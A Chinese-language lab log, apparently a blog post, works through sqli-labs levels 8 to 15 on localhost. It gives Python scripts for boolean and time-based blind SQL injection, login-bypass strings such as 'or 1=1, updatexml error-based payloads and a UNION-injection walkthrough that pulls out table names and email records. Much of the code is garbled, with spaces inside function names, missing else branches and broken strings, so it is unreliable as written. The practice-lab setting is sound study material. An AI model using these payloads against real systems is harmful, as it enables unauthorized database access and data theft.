sqli-lib 实战日志 (二)

sqli-lib sql注入

之前看了基本的盲注和报错注入,还有文件写入。这边将从Less-8开始。

Less-8

这道题把回显关掉了。所以用报错注入不行

另外用我最喜欢的二分查找也是很快的。

二分查找盲注脚本如下:

```
1. class Less_8:
        def run(self):
            self.half ascii database()
            self.half_ascii_tables()
            self.half_ascii_columns()
            self.half_ascii_data()
        def half ascii database(self):
            url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1%s"
            payload = "' and ascii(substr(database(),%s,1))>%s --+"
            database = ''
            print("Start to retrive the database")
             for i in range (1, 9):
                max = 122 \# z
                 min = 65 \# A
                 while abs(max - min) > 1:
                   mid = int((max + min) / 2)
                    p = payload % (str(i), str(mid))
                     response = requests.get(url % p)
                    if response.content.find("You are in") != -1:
                         min = mid
                     else:
                         max = mid
                 database = database + chr (max)
                 print("the database is :%s" % database)
        def half ascii tables(self):
            url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1%s"
             payload = "'and ascii(substr((select table_name from information_schema.tables where
    table_schema=database()limit 0,1),%s,1))>%s--+"
             table1 = ""
             print("Start to retrive the database")
            for i in range(1, 9):
                max = 122 # z
                 min = 65 \# A
                while abs (max - min) > 1:
                    mid = int((max + min) / 2)
                     p = payload % (str(i), str(mid))
                    response = requests.get(url % p)
                    if response.content.find("You are in") != -1:
                         min = mid
                    else:
                        max = mid
                 table1 = table1 + chr(max)
                 print("the table is :%s" % table1)
         def half ascii columns(self):
            # emails= 0x656d61696c73
             url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1%s"
```

```
payload = "'and ascii(substr((select column name from information schema.columns wher
e table name=0x656d61696c73 limit 1,1),%s,1))>%s--+
       table1 = ""
       print("Start to retrive the database")
       for i in range (1, 15):
           max = 122 \# z
           min = 65 \# A
           while abs(max - min) > 1:
               mid = int((max + min) / 2)
               p = payload % (str(i), str(mid))
               response = requests.get(url % p)
               if response.content.find("You are in") != -1:
                   min = mid
               else:
                   max = mid
            table1 = table1 + chr(max)
            print("the column is :%s" % table1)
   def half_ascii_data(self):
      \# column email id = 0x656d61696c5f6964
       \# table emails = 0x656d61696c73
       url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1%s"
       payload = "'and ascii(substr((select email_id from emails limit 0,1),%s,1))>%s--+"
       table1 = ""
       print("Start to retrive the database")
       for i in range(1, 9):
           max = 122 \# z
           min = 65 \# A
           while abs(max - min) > 1:
              mid = int((max + min) / 2)
              p = payload % (str(i), str(mid))
               response = requests.get(url % p)
               if response.content.find("You are in") != -1:
                   min = mid
               else:
           table1 = table1 + chr(max)
            print("the data is :%s" % table1)
```

这道题算是基于时间——单引号。让我们用sleep做做看。

延时盲注脚本如下

```
class Less 9:
  def run(self):
        self.sleep_ascii_database()
       self.sleep_ascii_tables()
       self.sleep_ascii_columns()
       self.sleep ascii data()
   def sleep_ascii_database(self):
       url = "http://127.0.0.1/sqli-labs-master/Less-9/?id=%s"
        payload = "1'and if(ascii(substr(database(), %s, 1)) = %s, 1, sleep(1)) --+"
        database = ""
        for i in range(1, 9):
           min = 96 # 33 # !
           max = 122 # 127 # ~ # 由于这边是在做题目,所以参数可以调整的范围小一些。
            while min <= max:</pre>
               starttime = time.time() # 记录当前时间
                p = payload % (i, min)
               response = requests.get(url % (p))
               # print response.url
                if time.time() - starttime > 1: # 因为是localhost, 回显比较快, 正常要大一些
                   min += 1
                else:
                   database += chr(min)
                   break
```

```
print("the database is :%s" % database)
    def sleep_ascii_tables(self):
        # security = 7365637572697479
        url = "http://127.0.0.1/sqli-labs-master/Less-9/?id=%s"
        payload = "1'and if(ascii(substr((select table_name from information_schema.tables
where table_schema=0x7365637572697479 limit 0,1), %s,1))=%s,1,sleep(1))--+"
        # "http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table name from i
nformation schema.tables where table schema='security' limit 0,1),1,1))=101,1,sleep(5))--+"
       database = ""
       for i in range (1, 9):
           min = 97 # 33 # !
            max = 122 # 127 # ~ # 由于这边是在做题目,所以参数可以调整的范围小一些。
            while min <= max:
               starttime = time.time() # 记录当前时间
               p = payload % (i, min)
               response = requests.get(url % (p))
               # print response.url
               if time.time() - starttime > 1: # 因为是localhost, 回显比较快, 正常要大一些
                   min += 1
               else:
                   database += chr(min)
                   break
            print("the table is :%s" % database)
    def sleep_ascii_columns(self):
       \# users = 0x7573657273
        url = "http://127.0.0.1/sqli-labs-master/Less-9/?id=%s"
        payload = "1'and if(ascii(substr((select column name from information schema.columns
where table_name='users'limit (0,1), (s,1)) = (s,1), sleep (1)) --+"
       database = ""
        for i in range(1, 9):
           min = 97 # 33 # !
            max = 122 # 127 # ~ # 由于这边是在做题目,所以参数可以调整的范围小一些。
            while min <= max:</pre>
               starttime = time.time() # 记录当前时间
               p = payload % (i, min)
               response = requests.get(url % (p))
                # print response.url
               if time.time() - starttime > 1: # 因为是localhost, 回显比较快, 正常要大一些
                   min += 1
                   database += chr(min)
                   break
            print("the column is :%s" % database)
    def sleep_ascii_data(self):
        url = "http://127.0.0.1/sqli-labs-master/Less-9/?id=%s"
       payload = "1'and if(ascii(substr((select username from users limit
0,1),%s,1))=%s,1,sleep(1))--+"
       database = ""
       for i in range(1, 9):
           min = 65 # 33 # !
            max = 122 # 127 # ~ # 由于这边是在做题目,所以参数可以调整的范围小一些。
            while min <= max:
              starttime = time.time() # 记录当前时间
               p = payload % (i, min)
               response = requests.get(url % (p))
                # print response.url
               if time.time() - starttime > 1: # 因为是localhost, 回显比较快, 正常要大一些
                   min += 1
                   database += chr(min)
                   break
            print("the data is :%s" % database)
```

万能密码直接过

id 填写 'or 1=1 --+ pwd 随意

Less-12

万能密码直接过

id 填写admin")或者adminn")or 1=1--+ pwd 随意

Less-13

那就写二分查找的盲注好了

```
class Less_13:
   def run(self):
       self.post_half_ascii_database()
       self.post_half_ascii_table()
self.post_half_ascii_column()
       self.post half ascii data()
    def post_half_ascii_database(self):
        /images/flag.jpg
       :return:
       url = "http://localhost/sqli-labs-master/Less-13/"
        payload = {"uname": "admin')and ascii(substr(database(),%s,1))>%s#", "passwd": "1", "s
ubmit": "Submit"}
        database = ""
        for i in range(1, 9):
            min = 96
            max = 122
            while abs(max - min) > 1:
               mid = int((max + min) / 2)
                p = payload
                p["uname"] = "admin') and ascii(substr(database(), %s, 1)) > %s#" % (i, mid)
                response = requests.post(url, data=payload)
                 # print response.content
                if response.content.find("/images/flag.jpg") != -1:
                    min = mid
                else:
                    max = mid
             database = database + chr (max)
            print("the database is :%s" % database)
  def post_half_ascii_table(self):
    url = "http://localhost/sqli-labs-master/Less-13/"
        payload = {"uname": "admin", "passwd": "1", "submit": "Submit"}
        database = ""
       for i in range(1, 9):
            min = 96
            max = 122
            while abs(max - min) > 1:
                mid = int((max + min) / 2)
                 p = payload
                 p[
                     "uname"] = "admin')and ascii(substr((select table_name from
 information\_schema.tables \ where \ table\_schema=database() \ limit \ 0,1), \$s,1)) > \$s\#" \ \$ \ (
```

```
i, mid)
                 response = requests.post(url, data=payload)
                 # print response.content
                 if response.content.find("/images/flag.jpg") != -1:
                    min = mid
                    max = mid
             database = database + chr (max)
             print("the table is :%s" % database)
   def post half ascii column(self):
       url = "http://localhost/sqli-labs-master/Less-13/"
         payload = {"uname": "admin", "passwd": "1", "submit": "Submit"}
        database = ""
        for i in range (1, 9):
             min = 34
             max = 127
             while abs (max - min) > 1:
                mid = int((max + min) / 2)
                 p = payload
                 p[
                     "uname"] = "admin')and ascii(substr((select column_name from
 information_schema.columns where table_name=0x656d61696c73 limit 1,1),%s,1))>%s#" % (
                i. mid)
                 response = requests.post(url, data=payload)
                 # print response.content
                 if response.content.find("/images/flag.jpg") != -1:
                    min = mid
                 else:
             database = database + chr (max)
             print("the table is :%s" % database)
    def post_half_ascii_data(self):
       url = "http://localhost/sqli-labs-master/Less-13/"
        payload = {"uname": "admin", "passwd": "123", "submit": "Submit"}
         database = ""
        for i in range(1, 20):
            min = 23
             max = 127
             while abs(max - min) > 1:
                mid = int((max + min) / 2)
                 p = payload
                 p[
                     "uname"] = "admin') and ascii(substr((select email id from emails limit 7,1
),%s,1))>%s#" % (
                 i, mid)
                 response = requests.post(url, data=payload)
                 # print response.content
                 if response.content.find("/images/flag.jpg") != -1:
                     min = mid
                 else:
                    max = mid
             database = database + chr(max)
             print("the data is :%s" % database)
```

这里的payload只要把单引号换成双引号就行

试试看当初老哥教我的xpath报错注入

```
• 库名:1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
```

- 得security
- 表

名: 1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()

- 得emails (0x656d61696c73)
- 列

名: 1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=0x656d61696

- 得email id
- 字段: 1'and updatexml(1,concat(0x7e,(select email_id from emails limit 7,1),0x7e),1)# 得管理员邮箱

Less-15

这关把错误回显关了 其实也不是特别费力。写个盲注脚本吧少年 (这道题就当post类型的延时盲注示范了)

```
class Less 15:
   def run(self):
       #self.post_sleep_ascii_database()
       self.post sleep ascii table()
        #self.post_sleep_ascii_column()
  def post_sleep_ascii_database(self):
       url = "http://127.0.0.1/sqli-labs-master/Less-15/?id=%s"
       payload = {"uname": "admin", "passwd": "123", "submit": "Submit"}
       database = ""
       for i in range (1, 9):
           min = 97 # 33 # !
           max = 122 # 127 # ~ # 由于这边是在做题目,所以参数可以调整的范围小一些。
           while min <= max:
               starttime = time.time() # 记录当前时间
               p = pavload
               p["uname"] = "admin'and if(ascii(substr(database(),%s,1))=%s,1,sleep(1))#" % (
i, min)
               response = requests.post(url, data=p)
               # print response.content
               if time.time() - starttime > 1: # 因为是localhost,回显比较快,正常要大一些
               else:
                   database += chr(min)
            print("the database is :%s" % database)
   def post sleep ascii table(self):
       url = "http://127.0.0.1/sqli-labs-master/Less-15/?id=%s"
      payload = {"uname": "admin", "passwd": "123", "submit": "Submit"}
       database = ""
       for i in range(1, 9):
           min = 97 # 33 # !
           max = 122 # 127 # ~ # 由于这边是在做题目,所以参数可以调整的范围小一些。
           while min <= max:
              starttime = time.time() # 记录当前时间
               p = payload
               p [
                    "uname"] = "admin'and if(ascii(substr((select table name from
information_schema.tables where table_schema=0x7365637572697479 limit
0,1),%s,1))=%s,1,sleep(1))#" % (
               i, min)
               response = requests.post(url, data=p)
               # print response.content
               if time.time() - starttime > 1: # 因为是localhost, 回显比较快, 正常要大一些
                   min += 1
               else:
                   database += chr(min)
                   break
           print("the table is :%s" % database)
    def post_sleep_ascii_column(self):
       url = "http://127.0.0.1/sqli-labs-master/Less-15/?id=%s"
       payload = {"uname": "admin", "passwd": "123", "submit": "Submit"}
       database = ""
       for i in range(1, 9):
   min = 97 # 33 # !
```

```
max = 122 # 127 # ~ # 由于这边是在做题目,所以参数可以调整的范围小一些。
while min <= max:
starttime = time.time() # 记录当前时间
p = payload
p[
"uname"] = "admin'and if(ascii(substr((select column_name from information
_schema.columns where table_name='emails'limit 1,1),%s,1))=%s,1,sleep(1))#" % (
i, min)
response = requests.post(url, data=p)
# print response.content
if time.time() - starttime > 1: # 因为是localhost,回显比较快,正常要大一些
min += 1
else:
database += chr(min)
break
print("the column is :%s" % database)
```

和之前区别不大,知识要把单引号换成") 其他没有变

第二部分完毕

主要是掌握对盲注脚本的编写,虽然没有对waf什么的处理过,用的都是sleep和ascii,如果把这两个函数给过滤了的话,那就很蛋疼了。

附录: SQLI-lib 第一关简易教程

```
# SQLi-Lib 第一关玩法
     # 注入点判断
    http://localhost/sqli-labs-master/Less-1/?id=1' or 1=1 --+ 成功
     http://localhost/sqli-labs-master/Less-1/?id=1' and 1=2 --+ 失败
    # 联合注入 长度为3 (4报错)
    http://localhost/sqli-labs-master/Less-1/?id=1' order by 3 --+
    # 爆库为 security
     ## -1 不要让正确信息打印出来,因为有limit
     http://localhost/sqli-labs-master/Less-1/?id=-1'union select 1,database(),3 --+
    # 爆库为 users
     ## 更改最后的limit中的3为 0,1,2,3 能够把所有的库爆出来
    http://localhost/sqli-labs-master/Less-1/?id=-1'union select 1,table_name,3 from information_
     schema.tables where table schema=database() limit 3,1--+
    # 爆列为 email_id
19. ## 同样的 limit 1,1 改为limit %s,1可以爆出其他字段
    ## emails可以用十六进制编码代替(绕过单引号)为 0x656d61696c73 这是一个绕waf的习惯
    http://localhost/sqli-labs-master/Less-1/?id=-1'union select 1,column name,3 from information
     _schema.columns where table_name='emails' limit 1,1--+
    # 爆字段 SBBr{}
    ## 这个是我自己添加的
    ## 这里不用16进制编码,也不用双引号
    http://localhost/sqli-labs-master/Less-1/?id=-1'union select 1,email id,3 from emails limit 8
     <!--把limit 8,1改为7,1爆出admin邮箱就行-->
```